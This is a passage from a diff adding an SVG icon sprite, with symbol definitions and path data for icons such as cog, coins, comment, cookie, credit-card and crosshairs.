25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"></path> + </symbol> + <symbol id="cloud-upload-alt" viewBox="0 0 640 512"> + <path d="M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z"></path> + </symbol> + <symbol id="cocktail" viewBox="0 0 576 512"> + <path d="M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z"></path> + </symbol> + <symbol id="code" viewBox="0 0 640 512"> + <path d="M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z"></path> + </symbol> + <symbol id="code-branch" viewBox="0 0 384 512"> + <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> + </symbol> + <symbol id="coffee" viewBox="0 0 640 512"> + <path d="M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z"></path> + </symbol> + <symbol id="cog" viewBox="0 0 512 512"> + <path d="M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="cogs" viewBox="0 0 640 512"> + <path d="M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z"></path> + </symbol> + <symbol id="coins" viewBox="0 0 512 512"> + <path d="M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z"></path> + </symbol> + <symbol id="columns" viewBox="0 0 512 512"> + <path d="M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z"></path> + </symbol> + <symbol id="comment" viewBox="0 0 512 512"> + <path d="M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z"></path> + </symbol> + <symbol id="comment-alt" viewBox="0 0 512 512"> + <path d="M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z"></path> + </symbol> + <symbol id="comment-dollar" viewBox="0 0 512 512"> + <path d="M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z"></path> + </symbol> + <symbol id="comment-dots" viewBox="0 0 512 512"> + <path d="M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="comment-medical" viewBox="0 0 512 512"> + <path d="M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z"></path> + </symbol> + <symbol id="comment-slash" viewBox="0 0 640 512"> + <path d="M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"></path> + </symbol> + <symbol id="comments" viewBox="0 0 576 512"> + <path d="M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z"></path> + </symbol> + <symbol id="comments-dollar" viewBox="0 0 576 512"> + <path d="M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z"></path> + </symbol> + <symbol id="compact-disc" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"></path> + </symbol> + <symbol id="compass" viewBox="0 0 496 512"> + <path d="M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z"></path> + </symbol> + <symbol id="compress" viewBox="0 0 448 512"> + <path d="M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"></path> + </symbol> + <symbol id="compress-alt" viewBox="0 0 448 512"> + <path d="M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z"></path> + </symbol> + <symbol id="compress-arrows-alt" viewBox="0 0 512 512"> + <path d="M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z"></path> + </symbol> + <symbol id="concierge-bell" viewBox="0 0 512 512"> + <path d="M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="cookie" viewBox="0 0 512 512"> + <path d="M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="cookie-bite" viewBox="0 0 512 512"> + <path d="M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="copy" viewBox="0 0 448 512"> + <path d="M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z"></path> + </symbol> + <symbol id="copyright" viewBox="0 0 512 512"> + <path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z"></path> + </symbol> + <symbol id="couch" viewBox="0 0 640 512"> + <path d="M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z"></path> + </symbol> + <symbol id="credit-card" viewBox="0 0 576 512"> + <path d="M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z"></path> + </symbol> + <symbol id="crop" viewBox="0 0 512 512"> + <path d="M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"></path> + </symbol> + <symbol id="crop-alt" viewBox="0 0 512 512"> + <path d="M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z"></path> + </symbol> + <symbol id="cross" viewBox="0 0 384 512"> + <path d="M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="crosshairs" viewBox="0 0 512 512"> + <path d="M500 224h-30.364C455.724 130.325 381.675 56.276 288 